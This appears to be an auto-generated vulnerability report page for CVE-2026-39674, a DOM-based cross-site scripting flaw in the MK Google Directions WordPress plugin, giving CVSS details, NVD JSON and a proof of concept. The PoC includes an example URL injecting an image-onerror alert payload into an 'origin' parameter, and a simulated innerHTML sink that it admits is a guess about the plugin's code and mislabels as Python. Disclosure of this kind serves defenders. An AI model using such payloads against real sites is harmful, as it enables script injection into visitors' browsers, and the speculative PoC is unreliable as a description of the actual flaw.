Security Vulnerability Report
中文
CVE-2026-39674 CVSS 6.5 MEDIUM

CVE-2026-39674

Published: 2026-04-08 09:16:39
Last Modified: 2026-04-24 18:06:04

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Manoj Kumar MK Google Directions google-distance-calculator allows DOM-Based XSS.This issue affects MK Google Directions: from n/a through <= 3.1.1.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

MK Google Directions <= 3.1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for DOM XSS in MK Google Directions <= 3.1.1 This payload demonstrates how a malicious parameter can be executed. --> <!-- Step 1: Identify the vulnerable parameter in the URL (e.g., 'origin' or 'destination'). Step 2: Inject the payload into the parameter. --> <!-- Example URL: http://target-wordpress.com/?page=google-distance-calculator&origin=<img src=x onerror=alert('XSS')> --> <script> // Simulating the vulnerable client-side code behavior // The plugin likely takes input from URL and inserts it into the DOM without sanitization function vulnerableFunction() { var params = new URLSearchParams(window.location.search); var userInput = params.get('origin'); // Vulnerable sink: innerHTML document.getElementById('display-result').innerHTML = "Origin: " + userInput; } // To test, paste the following in the browser console or visit the crafted URL: // alert(document.domain); </script>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39674", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:38.957", "lastModified": "2026-04-24T18:06:04.160", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Manoj Kumar MK Google Directions google-distance-calculator allows DOM-Based XSS.This issue affects MK Google Directions: from n/a through <= 3.1.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/google-distance-calculator/vulnerability/wordpress-mk-google-directions-plugin-3-1-1-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}